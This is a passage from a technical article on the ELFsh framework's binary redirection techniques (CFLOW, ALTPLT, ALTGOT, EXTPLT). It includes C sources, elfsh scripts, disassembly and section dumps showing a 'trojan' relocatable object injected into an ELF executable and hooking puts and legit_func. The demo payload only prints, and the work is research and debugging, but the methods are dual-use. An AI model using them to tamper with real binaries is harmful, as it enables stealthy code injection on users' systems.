[08] addr : 0xB7D31000 dyn : 0xB7D34BB4 - /lib/libtermcap.so.2
[09] addr : 0xB7D2D000 dyn : 0xB7D2FEEC - /lib/libdl.so.2
[10] addr : 0xB7CEB000 dyn : 0xB7D2A1C0 - /lib/libncurses.so.5
[11] addr : 0xB6D84000 dyn : 0xB6D85F28 - /usr/lib/gconv/ISO8859-1.so
(e2dbg-0.65) exit
[*] Unloading object 1 (/usr/lib/gconv/ISO8859-1.so)
[*] Unloading object 2 (/lib/tls/libc.so.6)
[*] Unloading object 3 (/lib/tls/libc.so.6)
[*] Unloading object 4 (/lib/libncurses.so.5)
[*] Unloading object 5 (/lib/libdl.so.2)
[*] Unloading object 6 (/lib/libtermcap.so.2)
[*] Unloading object 7 (/lib/libreadline.so.5)
[*] Unloading object 8 (/home/elfsh/WTH/elfsh/libelfsh/libelfsh.so)
[*] Unloading object 9 (/lib/ld-linux.so.2)
[*] Unloading object 10 (./ibc.so.6)
[*] Unloading object 11 (/lib/tls/libc.so.6)
[*] Unloading object 12 (./a.out_e2dbg) *
.:: Bye -:: The Embedded ELF Debugger 0.65
========= END DUMP 5 =========
As you see, the use of the debugger is quite similar to other
debuggers. The difference is about the implementation technique
which allows for hardened and embedded systems debugging where
ptrace is not present or disabled.
We were told [9] that the sigaction system call enables the
possibility of doing step by step execution without using
ptrace. We did not have time to implement it but we will
provide a step-capable debugger in the very near future. Since
that call is not filtered by grsecurity and seems to be quite
portable on Linux, BSD, Solaris and HP-UX, it is definitely
worth testing it.
---[ D. Dynamic analyzers generation
Obviously, tools like ltrace [7] can be now done in elfsh
scripts for multiple architectures since all the redirection
stuff is available.
We also think that the framework can be used in dynamic
software instrumentation. Since we support multiple
architectures, we let the door open to other development
team to develop such modules or extension inside the ELF
shell framework.
We did not have time to include an example script for now that
can do this, but we will soon. The kind of interresting stuff
that could be done and improved using the framework would
take its inspiration in projects like fenris [6]. That could
be done for multiple architectures as soon as the instruction
format type is integrated in the script engine, using the code
abstraction of libasm (which is now included as sources in
elfsh).
We do not deal with encryption for now, but some promising API
[5] could be implemented as well for multiple architectures
very easily.
-------[ III. Better multiarchitecture ELF redirections
In the first issue of the Cerberus ELF interface [0], we
presented a redirection technique that we called ALTPLT. This
technique is not enough since it allows only for PLT
redirection on existing function of the binary program so
the software extension usable functions set is limited.
Morever, we noticed a bug in the previously released
implementation of the ALTPLT technique : On the SPARC
architecture, when calling the original function, the
redirection was removed and the program continued to work as if
no hook was installed. This bug came from the fact that Solaris
does not use the r_offset field for computing its relocation
but get the file offset by multiplying the PLT entry size by the
pushed relocation offset on the stack at the moment of dynamic
resolution.
We found a solution for this problem. That solution consisted in
adding some architecture specific fixes at the beginning of the
ALTPLT section. However, such a fix is too much architecture
dependant and we started to think about an alternative technique
for implementing ALTPLT. As we had implemented the DT_DEBUG
technique by modifying some entries in the .dynamic sections, we
discovered that many other entries are erasable and allow for
a very strong and architecture independant technique for
redirecting access to various sections. More precisely, when
patching the DT_PLTREL entry, we are able to provide our own
pointer. DT_PLTREL is an architecture dependant entry and the
documentation about it is quite weak, not to say inexistant.
It actually points on the section of the executable beeing
runtime relocated (e.g. GOT on x86 or mips, PLT on sparc and
alpha). By changing this entry we are able to provide our own
PLT or GOT, which leads to possibly extending it.
Let's first have look at the CFLOW technique and then comes
back on the PLT related redirections using the DT_PLTREL
modification.
---[ A. CFLOW: PaX-safe static functions redirection
CFLOW is a simple but efficient technique for function
redirection that are located in the host file and not
having a PLT entry.
Let's see the host file that we use for this test:
========= BEGIN DUMP 6 =========
elfsh@WTH $ cat host.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int legit_func(char *str)
{
printf("legit func (%s) !\n", str);
return (0);
}
int main()
{
char *str;
char buff[BUFSIZ];
read(0, buff, BUFSIZ-1);
str = malloc(10);
if (str == NULL)
goto err;
strcpy(str, "test");
printf("First_printf %s\n", str);
fflush(stdout);
puts("First_puts");
printf("Second_printf %s\n", str);
free(str);
puts("Second_puts");
fflush(stdout);
legit_func("test");
return (0);
err:
printf("Malloc problem\n");
return (-1);
}
========= END DUMP 6 =========
We will here redirect the function legit_func, which is located
inside host.c by the hook_func function located in the
relocatable object.
Let's look at the relocatable file that we are going to inject
in the above binary.
========= BEGIN DUMP 7 =========
elfsh@WTH $ cat rel.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int glvar_testreloc = 42;
int glvar_testreloc_bss;
char glvar_testreloc_bss2;
short glvar_testreloc_bss3;
int hook_func(char *str)
{
printf("HOOK FUNC %s !\n", str);
return (old_legit_func(str));
}
int puts_troj(char *str)
{
int local = 1;
char *str2;
str2 = malloc(10);
*str2 = 'Z';
*(str2 + 1) = 0x00;
glvar_testreloc_bss = 43;
glvar_testreloc_bss2 = 44;
glvar_testreloc_bss3 = 45;
printf("Trojan injected ET_REL takes control now "
"[%s:%s:%u:%u:%hhu:%hu:%u] \n",
str2, str,
glvar_testreloc,
glvar_testreloc_bss,
glvar_testreloc_bss2,
glvar_testreloc_bss3,
local);
free(str2);
putchar('e');
putchar('x');
putchar('t');
putchar('c');
putchar('a');
putchar('l');
putchar('l');
putchar('!');
putchar('\n');
old_puts(str);
write(1, "calling write\n", 14);
fflush(stdout);
return (0);
}
int func2()
{
return (42);
}
========= END DUMP 7 =========
As you can see, the relocatable object use of unknown functions
like write and putchar. Those functions do not have a symbol, plt
entry, got entry, or even relocatable entry in the host file.
We can call it however using the EXTPLT technique that will be
described as a standalone technique in the next part of this paper.
For now we focuss on the CFLOW technique that allow for redirection
of the legit_func on the hook_func. This function does not have a
PLT entry and we cannot use simple PLT infection for this.
We developped a technique that is PaX safe for ondisk redirection of
this kind of function. It consists of putting the good old jmp
instruction at the beginning of the legit_func and redirect the flow
on our own code. ELFsh will take care of executing the overwritten
bytes somewhere else and gives back control to the redirected
function, just after the jmp hook, so that no runtime restoration is
needed and it stays PaX safe on disk.
When these techniques are used in the debugger directly in memory
and not on disk, they all break the mprotect protection of PaX,
which means that this flag must be disabled if you want to redirect
the flow directly into memory. We use use the mprotect syscall on
small code zone for beeing able to changes some specific instructions
for redirection. However, we think that this technique is mostly
interresting for debugging and not for other things, so it is not
our priority to improve this for now.
Let's see the small ELFsh script for this example :
========= BEGIN DUMP 8 =========
elfsh@WTH $ file a.out
a.out: ELF 32-bit LSB executable, Intel 80386, dynamically linked, \
not stripped
elfsh@WTH $ cat relinject.esh
#!../../../vm/elfsh
load a.out
load rel.o
reladd 1 2
redir puts puts_troj
redir legit_func hook_func
save fake_aout
quit
========= END EXAMPLE 8 =========
The output of the ORIGINAL binary is as follow:
========= BEGIN DUMP 9 =========
elfsh@WTH $ ./a.out
First_printf test
First_puts
Second_printf test
Second_puts
LEGIT FUNC
legit func (test) !
========= END DUMP 9 ===========
Now let's inject the stuff:
========= BEGIN DUMP 10 ========
elfsh@WTH $ ./relinject.esh
The ELF shell 0.65 (32 bits built) .::.
.::. This software is under the General Public License V.2
.::. Please visit http://www.gnu.org
~load a.out
[*] Sun Jul 31 15:30:14 2005 - New object a.out loaded
~load rel.o
[*] Sun Jul 31 15:30:14 2005 - New object rel.o loaded
~reladd 1 2
Section Mirrored Successfully !
[*] ET_REL rel.o injected succesfully in ET_EXEC a.out
~redir puts puts_troj
[*] Function puts redirected to addr 0x08047164 <puts_troj>
~redir legit_func hook_func
[*] Function legit_func redirected to addr 0x08047134 <hook_func>
~save fake_aout
[*] Object fake_aout saved successfully
~quit
[*] Unloading object 1 (rel.o)
[*] Unloading object 2 (a.out) *
.:: Bye -:: The ELF shell 0.65
========= END DUMP 10 =========
Let's now execute the modified binary.
========= BEGIN DUMP 11 =========
elfsh@WTH $ ./fake_aout
First_printf test
Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1]
extcall!
First_puts
calling write
Second_printf test
Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1]
extcall!
Second_puts
calling write
HOOK FUNC test !
Trojan injected ET_REL takes control now [Z:LEGIT FUNC:42:43:44:45:1]
extcall!
calling write
legit func (test) !
elfsh@WTH $
========= END DUMP 11 =========
Fine. Clearly legit_func has been redirected on the hook
function, and hook_func takes care of calling back the
legit_func using the old symbol technique described in
the first issue of the Cerberus articles serie.
Let's see the original legit_func code which is redirected
using the CFLOW technique on the x86 architecture :
========= BEGIN DUMP 12 =========
080484C0 legit_func + 0 push %ebp
080484C1 legit_func + 1 mov %esp,%ebp
080484C3 legit_func + 3 sub $8,%esp
080484C6 legit_func + 6 mov $<_IO_stdin_used + 4>,(%esp,1)
080484CD legit_func + 13 call <.plt + 32>
080484D2 legit_func + 18 mov $<_IO_stdin_used + 15>,(%esp,1)
========= END DUMP 12 =========
Now the modified code:
========= BEGIN DUMP 13 =========
080484C0 legit_func + 0 jmp <hook_legit_func>
080484C5 legit_func + 5 nop
080484C6 legit_func + 6 mov $<_IO_stdin_used + 4>,(%esp,1)
080484CD legit_func + 13 call <puts>
080484D2 legit_func + 18 mov $<_IO_stdin_used + 15>,(%esp,1)
080484D9 legit_func + 25 mov 8(%ebp),%eax
080484DC legit_func + 28 mov %eax,4(%esp,1)
080484E0 legit_func + 32 call <printf>
080484E5 legit_func + 37 leave
080484E6 legit_func + 38 xor %eax,%eax
========= END DUMP 13 =========
We create a new section .elfsh.hooks whoose data is an array
of hook code stubs like this one:
========= BEGIN DUMP 14 =========
08042134 hook_legit_func + 0 jmp <hook_func>
08042139 old_legit_func + 0 push %ebp
0804213A old_legit_func + 1 mov %esp,%ebp
0804213C old_legit_func + 3 sub $8,%esp
0804213F old_legit_func + 6 jmp <legit_func + 6>
========= END DUMP 14 =========
Because we want to be able to recall the original function
(legit_func), we add the erased bytes of it, just after the
first jmp. Then we call back the legit_func at the good offset
(so that we do not recurse inside the hook because the function
was hijacked), as you can see starting at the old_legit_func
symbol of example 14.
This old symbols technique is coherent with the ALTPLT technique
that we published in the first article. We can as well use
the old_funcname() call inside the injected C code for
calling back the good hijacked function, and we do that without
a single byte restoration at runtime. That is why the CFLOW
technique is PaX compatible.
For the MIPS architecture, the CFLOW technique is quite similar,
we can see the result of it as well (DUMP 15 is the original
binary and DUMP 16 the modified one):
======== BEGIN DUMP 15 =========
400400 <func>: lui gp,0xfc1
400404 <func+4>: addiu gp,gp,-21696
400408 <func+8>: addu gp,gp,t9
40040c <func+12>: addiu sp,sp,-40
400410 <func+16>: sw ra,36(sp)
[...]
======== END DUMP 15 =========
The modified func code is now :
======== BEGIN DUMP 16 =========
<func>
400400: addi t9,t9,104 # Register T9 as target function
400404: j 0x400468 <func2> # Direct JMP on hook function
400408: nop # Delay slot
40040c: addiu sp,sp,-40 # The original func code
400410: sw ra,36(sp)
400414: sw s8,32(sp)
400418: move s8,sp
40041c: sw gp,16(sp)
400420: sw a0,40(s8)
======== END DUMP 16 =========
The func2 function can be anything we want, provided that it has
the same number and type of parameters. When the func2 function
wants to call the original function (func), then it jumps on
the old_func symbol that points inside the .elfsh.hooks section
entry for this CFLOW hook. That is how looks like such a hooks
entry on the MIPS architecture :
======== BEGIN DUMP 17 =========
<old_func>
3ff0f4 addi t9,t9,4876
3ff0f8 lui gp,0xfc1
3ff0fc addiu gp,gp,-21696
3ff100 addu gp,gp,t9
3ff104 j 0x400408 <func + 8>
3ff108 nop
3ff10c nop
======== END DUMP 17 ===========
As you can see, the three instructions that got erased for
installing the CFLOW hook at the beginning of func() are
now located in the hook entry for func(), pointed by
the old_func symbol. The T9 register is also reset so that
we can come back to a safe situation before jumping back
on func + 8.
---[ B. ALTPLT technique revised
ALTPLT technique v1 was presented in the Cerberus ELF Interface [0]
paper. As already stated, it was not satisfying because it was
removing the hook on SPARC at the first original function call.
Since on SPARC the first 4 PLT entries are reserved, there is
room for 12 instructions that would fix anything needed (actually
the first PLT entry) at the moment when ALTPLT+0 takes control.
ALTPLTv2 is working indeed in 12 instructions but it needed to
reencode the first ALTPLT section entry with the code from PLT+0
(which is relocated in runtime on SPARC before the main takes
control, which explains why we cannot patch this on the disk
statically).
By this behavior, it breaks PaX, and the implementation is
very architecture dependant since its SPARC assembly. For those
who want to see it, we let the code of this in the ELFsh source
tree in libelfsh/sparc32.c .
For the ALPHA64 architecture, it gives pretty much the same in its
respective instructions set, and this time the implementation is
located in libelfsh/alpha64.c .
As you can see in the code (that we will not reproduce here for
clarity of the article), ALTPLTv2 is a real pain and we needed to
get rid of all this assembly code that was requesting too much
efforts for potential future ports of this technique to other
architectures.
Then we found the .dynamic DT_PLTREL trick and we tried to see what
happened when changing this .dynamic entry inside the host binary.
Changing the DT_PLTREL entry is very attractive since this is
completely architecture independant so it works everywhere.
Let's see how look like the section header table and the .dynamic
section used in the really simple ALTPLTv3 technique. We use the
.elfsh.altplt section as a mirror of the original .plt as explained
in our first paper. The other .elfsh.* sections has been explained
already or will be just after the log.
The output (modified) binary looks like :
=============== BEGIN DUMP 18 ================
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object fake_aout]
[000] 0x00000000 ------- foff:00000000 sz:0000000 link:00
[001] 0x08042134 a-x---- .elfsh.hooks foff:00000308 sz:0000016 link:00
[002] 0x08043134 a-x---- .elfsh.extplt foff:00004404 sz:0000048 link:00
[003] 0x08044134 a-x---- .elfsh.altplt foff:00008500 sz:0004096 link:00
[004] 0x08045134 a--ms-- rel.o.rodata.str1.32 foff:12596 sz:4096 link:00
[005] 0x08046134 a--ms-- rel.o.rodata.str1.1 foff:16692 sz:4096 link:00
[006] 0x08047134 a-x---- rel.o.text foff:00020788 sz:0004096 link:00
[007] 0x08048134 a------ .interp foff:00024884 sz:0000019 link:00
[008] 0x08048148 a------ .note.ABI-tag foff:00024904 sz:0000032 link:00
[009] 0x08048168 a------ .hash foff:00024936 sz:0000064 link:10
[010] 0x080481A8 a------ .dynsym foff:00025000 sz:0000176 link:11
[011] 0x08048258 a------ .dynstr foff:00025176 sz:0000112 link:00
[012] 0x080482C8 a------ .gnu.version foff:00025288 sz:0000022 link:10
[013] 0x080482E0 a------ .gnu.version_r foff:00025312 sz:0000032 link:11
[014] 0x08048300 a------ .rel.dyn foff:00025344 sz:0000016 link:10
[015] 0x08048310 a------ .rel.plt foff:00025360 sz:0000056 link:10
[016] 0x08048348 a-x---- .init foff:00025416 sz:0000023 link:00
[017] 0x08048360 a-x---- .plt foff:00025440 sz:0000128 link:00
[018] 0x08048400 a-x---- .text foff:00025600 sz:0000736 link:00
[019] 0x080486E0 a-x---- .fini foff:00026336 sz:0000027 link:00
[020] 0x080486FC a------ .rodata foff:00026364 sz:0000116 link:00
[021] 0x08048770 a------ .eh_frame foff:00026480 sz:0000004 link:00
[022] 0x08049774 aw----- .ctors foff:00026484 sz:0000008 link:00
[023] 0x0804977C aw----- .dtors foff:00026492 sz:0000008 link:00
[024] 0x08049784 aw----- .jcr foff:00026500 sz:0000004 link:00
[025] 0x08049788 aw----- .dynamic foff:00026504 sz:0000200 link:11
[026] 0x08049850 aw----- .got foff:00026704 sz:0000004 link:00
[027] 0x08049854 aw----- .got.plt foff:00026708 sz:0000040 link:00
[028] 0x0804987C aw----- .data foff:00026748 sz:0000012 link:00
[029] 0x08049888 aw----- .bss foff:00026760 sz:0000008 link:00
[030] 0x08049890 aw----- rel.o.bss foff:00026768 sz:0004096 link:00
[031] 0x0804A890 aw----- rel.o.data foff:00030864 sz:0000004 link:00
[032] 0x0804A894 aw----- .elfsh.altgot foff:00030868 sz:0000048 link:00
[033] 0x0804A8E4 aw----- .elfsh.dynsym foff:00030948 sz:0000208 link:34
[034] 0x0804AA44 aw----- .elfsh.dynstr foff:00031300 sz:0000127 link:33
[035] 0x0804AB24 aw----- .elfsh.reldyn foff:00031524 sz:0000016 link:00
[036] 0x0804AB34 aw----- .elfsh.relplt foff:00031540 sz:0000072 link:00
[037] 0x00000000 ------- .comment foff:00031652 sz:0000665 link:00
[038] 0x00000000 ------- .debug_aranges foff:00032324 sz:0000120 link:00
[039] 0x00000000 ------- .debug_pubnames foff:00032444 sz:0000042 link:00
[040] 0x00000000 ------- .debug_info foff:00032486 sz:0006871 link:00
[041] 0x00000000 ------- .debug_abbrev foff:00039357 sz:0000511 link:00
[042] 0x00000000 ------- .debug_line foff:00039868 sz:0000961 link:00
[043] 0x00000000 ------- .debug_frame foff:00040832 sz:0000072 link:00
[044] 0x00000000 ---ms-- .debug_str foff:00040904 sz:0008067 link:00
[045] 0x00000000 ------- .debug_macinfo foff:00048971 sz:0029295 link:00
[046] 0x00000000 ------- .shstrtab foff:00078266 sz:0000507 link:00
[047] 0x00000000 ------- .symtab foff:00080736 sz:0002368 link:48
[048] 0x00000000 ------- .strtab foff:00083104 sz:0001785 link:47
[SHT_DYNAMIC]
[Object ./testsuite/etrel_inject/etrel_original/fake_aout]
[00] Name of needed library => libc.so.6 {DT_NEEDED}
[01] Address of init function => 0x08048348 {DT_INIT}
[02] Address of fini function => 0x080486E0 {DT_FINI}
[03] Address of symbol hash table => 0x08048168 {DT_HASH}
[04] Address of dynamic string table => 0x0804AA44 {DT_STRTAB}
[05] Address of dynamic symbol table => 0x0804A8E4 {DT_SYMTAB}
[06] Size of string table => 00000127 bytes {DT_STRSZ}
[07] Size of symbol table entry => 00000016 bytes {DT_SYMENT}
[08] Debugging entry (unknown) => 0x00000000 {DT_DEBUG}
[09] Processor defined value => 0x0804A894 {DT_PLTGOT}
[10] Size in bytes for .rel.plt => 000072 bytes {DT_PLTRELSZ}
[11] Type of reloc in PLT => 00000017 {DT_PLTREL}
[12] Address of .rel.plt => 0x0804AB34 {DT_JMPREL}
[13] Address of .rel.got section => 0x0804AB24 {DT_REL}
[14] Total size of .rel section => 00000016 bytes {DT_RELSZ}
[15] Size of a REL entry => 00000008 bytes {DT_RELENT}
[16] SUN needed version table => 0x80482E0 {DT_VERNEED}
[17] SUN needed version number => 001 {DT_VERNEEDNUM}
[18] GNU version VERSYM => 0x080482C8 {DT_VERSYM}
=============== END DUMP 18 ================
As you can see, various sections has been copied and extended,
and their entries in .dynamic changed. That holds for .got
(DT_PLTGOT), .rel.plt (DT_JMPREL), .dynsym (DT_SYMTAB), and
.dynstr (DT_STRTAB). Changing those entries allow for the
new ALTPLT technique without any line of assembly.
Of course the ALTPLT technique version 3 does not need any
non-mandatory information like debug sections. It may sound
obvious but some peoples really asked this question.
---[ C. ALTGOT technique : the RISC complement
On the MIPS architecture, calls to PLT entries are
done differently. Indeed, instead of a direct call instruction on
the entry, an indirect jump is used for using the GOT entry linked
to the desired function. If such entry is filled, then the
function is called directly. By default, the GOT entries contains
the pointer on the PLT entries. During the execution eventually,
the dynamic linker is called for relocating the GOT section (MIPS,
x86) or the PLT section (on SPARC or ALPHA).
Here is the MIPS assembly log that prove this on some dumb
helloworld program using printf :
00400790 <main>:
400790: 3c1c0fc0 lui gp,0xfc0 # Set GP to GOT base
400794: 279c78c0 addiu gp,gp,30912 # address + 0x7ff0
400798: 0399e021 addu gp,gp,t9 # using t9 (= main)
40079c: 27bdffe0 addiu sp,sp,-32
4007a0: afbf001c sw ra,28(sp)
4007a4: afbe0018 sw s8,24(sp)
4007a8: 03a0f021 move s8,sp
4007ac: afbc0010 sw gp,16(sp)
4007b0: 8f828018 lw v0,-32744(gp)
4007b4: 00000000 nop
4007b8: 24440a50 addiu a0,v0,2640
4007bc: 2405002a li a1,42
4007c0: 8f828018 lw v0,-32744(gp)
4007c4: 00000000 nop
4007c8: 24460a74 addiu a2,v0,2676
4007cc: 8f99803c lw t9,-32708(gp) # Load printf GOT entry
4007d0: 00000000 nop
4007d4: 0320f809 jalr t9 # and jump on it
4007d8: 00000000 nop
4007dc: 8fdc0010 lw gp,16(s8)
4007e0: 00001021 move v0,zero
4007e4: 03c0e821 move sp,s8
4007e8: 8fbf001c lw ra,28(sp)
4007ec: 8fbe0018 lw s8,24(sp)
4007f0: 27bd0020 addiu sp,sp,32
4007f4: 03e00008 jr ra # return from the func
4007f8: 00000000 nop
4007fc: 00000000 nop
We note that the global pointer register %gp is always set
on the GOT section base address on MIPS, more or less some
fixed signed offset, in our case 0x7ff0 (0x8000 on ALPHA).
In order to call a function whoose address is unknown, the GOT
entries are filled and then the indirect jump instruction
on MIPS does not use the PLT entry anymore. What do we learn
from this ? Simply that we cannot rely on a classical PLT
hijacking because the PLT entry code wont be called if the GOT
entry is already filled, which means that we will hijack the
function only the first time.
Because of this, we will hijack functions using GOT patching
on MIPS. However it does not resolve the problem of recalling
the original function. In order to allow such recall, we will
just insert the old_ symbols on the real PLT entry, so that
we can still access the dynamic linking mechanism code stub
even if the GOT has been modified.
Let's see the detailed results of the ALTGOT technique on the
ALPHA and MIPS architecture. It was done without a single
line of assembly code which makes it very portable :
========= BEGIN DUMP 19 =========
elfsh@alpha$ cat host.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char *str;
str = malloc(10);
if (str == NULL)
goto err;
strcpy(str, "test");
printf("First_printf %s\n", str);
fflush(stdout);
puts("First_puts");
printf("Second_printf %u\n", 42);
puts("Second_puts");
fflush(stdout);
return (0);
err:
printf("Malloc problem %u\n", 42);
return (-1);
}
elfsh@alpha$ gcc host.c -o a.out
elfsh@alpha$ file ./a.out
a.out: ELF 64-bit LSB executable, Alpha (unofficial), for NetBSD 2.0G,
dynamically linked, not stripped
========= END DUMP 19 =========
The original binary executes:
========= BEGIN DUMP 20 =========
elfsh@alpha$ ./a.out
First_printf test
First_puts
Second_printf 42
Second_puts
========= END DUMP 20 ==========
Let's look again the relocatable object we are injecting:
========= BEGIN DUMP 21 =========
elfsh@alpha$ cat rel.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int glvar_testreloc = 42;
int glvar_testreloc_bss;
char glvar_testreloc_bss2;
short glvar_testreloc_bss3;
int puts_troj(char *str)
{
int local = 1;
char *str2;
str2 = malloc(10);
*str2 = 'Z';
*(str2 + 1) = 0x00;
glvar_testreloc_bss = 43;
glvar_testreloc_bss2 = 44;
glvar_testreloc_bss3 = 45;
printf("Trojan injected ET_REL takes control now "
"[%s:%s:%u:%u:%hhu:%hu:%u] \n",
str2, str,
glvar_testreloc,
glvar_testreloc_bss,
glvar_testreloc_bss2,
glvar_testreloc_bss3,
local);
old_puts(str);
fflush(stdout);
return (0);
}
int func2()
{
return (42);
}
========= END DUMP 21 =========
As you can see, the relocatable object rel.c uses old_ symbols
which means that it relies on the ALTPLT technique. However
we do not perform EXTPLT technique on ALPHA and MIPS yet so
we are not able to call unknown function from the binary on
those architectures for now. Our rel.c is a copy from the one
in example 7 without the calls to the unknown functions
write and putchar of example 7.
Now we inject the stuff:
========= BEGIN DUMP 22 =========
elfsh@alpha$ ./relinject.esh > relinject.out
elfsh@alpha$ ./fake_aout
First_printf test
Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1]
First_puts
Second_printf 42
Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1]
Second_puts
========= END DUMP 22 ==========
The section list on ALPHA is then as follow. A particular
look at the injected sections is recommended :
========= BEGIN DUMP 23 =========
elfsh@alpha$ elfsh -f fake_aout -s -p
[*] Object fake_aout has been loaded (O_RDONLY)
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object fake_aout]
[000] 0x000000000 ------- foff:00000 sz:00000
[001] 0x120000190 a------ .interp foff:00400 sz:00023
[002] 0x1200001A8 a------ .note.netbsd.ident foff:00424 sz:00024
[003] 0x1200001C0 a------ .hash foff:00448 sz:00544
[004] 0x1200003E0 a------ .dynsym foff:00992 sz:00552
[005] 0x120000608 a------ .dynstr foff:01544 sz:00251
[006] 0x120000708 a------ .rela.dyn foff:01800 sz:00096
[007] 0x120000768 a------ .rela.plt foff:01896 sz:00168
[008] 0x120000820 a-x---- .init foff:02080 sz:00128
[009] 0x1200008A0 a-x---- .text foff:02208 sz:01312
[010] 0x120000DC0 a-x---- .fini foff:03520 sz:00104
[011] 0x120000E28 a------ .rodata foff:03624 sz:00162
[012] 0x120010ED0 aw----- .data foff:03792 sz:00000
[013] 0x120010ED0 a------ .eh_frame foff:03792 sz:00004
[014] 0x120010ED8 aw----- .dynamic foff:03800 sz:00352
[015] 0x120011038 aw----- .ctors foff:04152 sz:00016
[016] 0x120011048 aw----- .dtors foff:04168 sz:00016
[017] 0x120011058 aw----- .jcr foff:04184 sz:00008
[018] 0x120011060 awx---- .plt foff:04192 sz:00116
[019] 0x1200110D8 aw----- .got foff:04312 sz:00240
[020] 0x1200111C8 aw----- .sdata foff:04552 sz:00024
[021] 0x1200111E0 aw----- .sbss foff:04576 sz:00024
[022] 0x1200111F8 aw----- .bss foff:04600 sz:00056
[023] 0x120011230 a-x---- rel.o.text foff:04656 sz:00320
[024] 0x120011370 aw----- rel.o.sdata foff:04976 sz:00008
[025] 0x120011378 a--ms-- rel.o.rodata.str1.1 foff:04984 sz:00072
[026] 0x1200113C0 a-x---- .alt.plt.prolog foff:05056 sz:00048
[027] 0x1200113F0 a-x---- .alt.plt foff:05104 sz:00120
[028] 0x120011468 a------ .alt.got foff:05224 sz:00072
[029] 0x1200114B0 aw----- rel.o.got foff:05296 sz:00080
[030] 0x000000000 ------- .comment foff:05376 sz:00240
[031] 0x000000000 ------- .debug_aranges foff:05616 sz:00048
[032] 0x000000000 ------- .debug_pubnames foff:05664 sz:00027
[033] 0x000000000 ------- .debug_info foff:05691 sz:02994
[034] 0x000000000 ------- .debug_abbrev foff:08685 sz:00337
[035] 0x000000000 ------- .debug_line foff:09022 sz:00373
[036] 0x000000000 ------- .debug_frame foff:09400 sz:00048
[037] 0x000000000 ---ms-- .debug_str foff:09448 sz:01940
[038] 0x000000000 ------- .debug_macinfo foff:11388 sz:12937
[039] 0x000000000 ------- .ident foff:24325 sz:00054
[040] 0x000000000 ------- .shstrtab foff:24379 sz:00393
[041] 0x000000000 ------- .symtab foff:27527 sz:02400
[042] 0x000000000 ------- .strtab foff:29927 sz:00948
[Program header table .::. PHT]
[Object fake_aout]
[00] 0x120000040 -> 0x120000190 r-x => Program header table
[01] 0x120000190 -> 0x1200001A7 r-- => Program interpreter
[02] 0x120000000 -> 0x120000ECA r-x => Loadable segment
[03] 0x120010ED0 -> 0x120011510 rwx => Loadable segment
[04] 0x120010ED8 -> 0x120011038 rw- => Dynamic linking info
[05] 0x1200001A8 -> 0x1200001C0 r-- => Auxiliary information
[Program header table .::. SHT correlation]
[Object fake_aout]
[*] SHT is not stripped
[00] PT_PHDR
[01] PT_INTERP .interp
[02] PT_LOAD .interp .note.netbsd.ident .hash .dynsym .dynstr
.rela.dyn .rela.plt .init .text .fini .rodata
[03] PT_LOAD .data .eh_frame .dynamic .ctors .dtors .jcr .plt
.got .sdata .sbss .bss rel.o.text rel.o.sdata
rel.o.rodata.str1.1 .alt.plt.prolog .alt.plt
.alt.got rel.o.got
[04] PT_DYNAMIC .dynamic
[05] PT_NOTE .note.netbsd.ident
[*] Object fake_aout unloaded
========= END DUMP 23 =========
Segments are extended the good way. We see this because of
the correlation between SHT and PHT : all bounds are correct.
the end. The .alt.plt.prolog section is there for implementing
the ALTPLTv2 on ALPHA. This could will patch in runtime the
first ALTPLT entry bytes with the first PLT entry bytes on
the first time that ALTPLT first entry is called (when calling
some original function from a hook function for the first time).
When we discovered how to do the ALTPLTv3 (without a line
of assembly), then .alt.plt.prolog just became a padding
section so that GOT and ALTGOT were well aligned on some
size that was necessary for setting up ALTPLT because of
the ALPHA instruction encoding of indirect control flow
jumps.
---[ D. EXTPLT technique : unknown function postlinking
This technique is one of the major one of the new ELFsh
version. It works on ET_EXEC and ET_DYN files, including
when the injection is done directly in memory. EXTPLT
consists in adding a new section (.elfsh.extplt) so that
we can add entries for new functions.
When coupled to .rel.plt, .got, .dynsym, and .dynstr mirroring
extensions, it allows for placing relocation entries that match
the needs of the new ALTPLT/ALTGOT couple. Let's look at the
additional relocation information using the elfsh -r command.
First, let see the original binary relocation table:
========= BEGIN DUMP 24 =========
[*] Object ./a.out has been loaded (O_RDONLY)
[RELOCATION TABLES]
[Object ./a.out]
{Section .rel.dyn}
[000] R_386_GLOB_DAT 0x08049850 sym[010] : __gmon_start__
[001] R_386_COPY 0x08049888 sym[004] : stdout
{Section .rel.plt}
[000] R_386_JMP_SLOT 0x08049860 sym[001] : fflush
[001] R_386_JMP_SLOT 0x08049864 sym[002] : puts
[002] R_386_JMP_SLOT 0x08049868 sym[003] : malloc
[003] R_386_JMP_SLOT 0x0804986C sym[005] : __libc_start_main
[004] R_386_JMP_SLOT 0x08049870 sym[006] : printf
[005] R_386_JMP_SLOT 0x08049874 sym[007] : free
[006] R_386_JMP_SLOT 0x08049878 sym[009] : read
[*] Object ./testsuite/etrel_inject/etrel_original/a.out unloaded
========= END DUMP 24 =========
Let's now see the modified binary relocation tables:
========= BEGIN DUMP 25 =========
[*] Object fake_aout has been loaded (O_RDONLY)
[RELOCATION TABLES]
[Object ./fake_aout]
{Section .rel.dyn}
[000] R_386_GLOB_DAT 0x08049850 sym[010] : __gmon_start__
[001] R_386_COPY 0x08049888 sym[004] : stdout
{Section .rel.plt}
[000] R_386_JMP_SLOT 0x0804A8A0 sym[001] : fflush
[001] R_386_JMP_SLOT 0x0804A8A4 sym[002] : puts
[002] R_386_JMP_SLOT 0x0804A8A8 sym[003] : malloc
[003] R_386_JMP_SLOT 0x0804A8AC sym[005] : __libc_start_main
[004] R_386_JMP_SLOT 0x0804A8B0 sym[006] : printf
[005] R_386_JMP_SLOT 0x0804A8B4 sym[007] : free
[006] R_386_JMP_SLOT 0x0804A8B8 sym[009] : read
{Section .elfsh.reldyn}
[000] R_386_GLOB_DAT 0x08049850 sym[010] : __gmon_start__
[001] R_386_COPY 0x08049888 sym[004] : stdout
{Section .elfsh.relplt}
[000] R_386_JMP_SLOT 0x0804A8A0 sym[001] : fflush
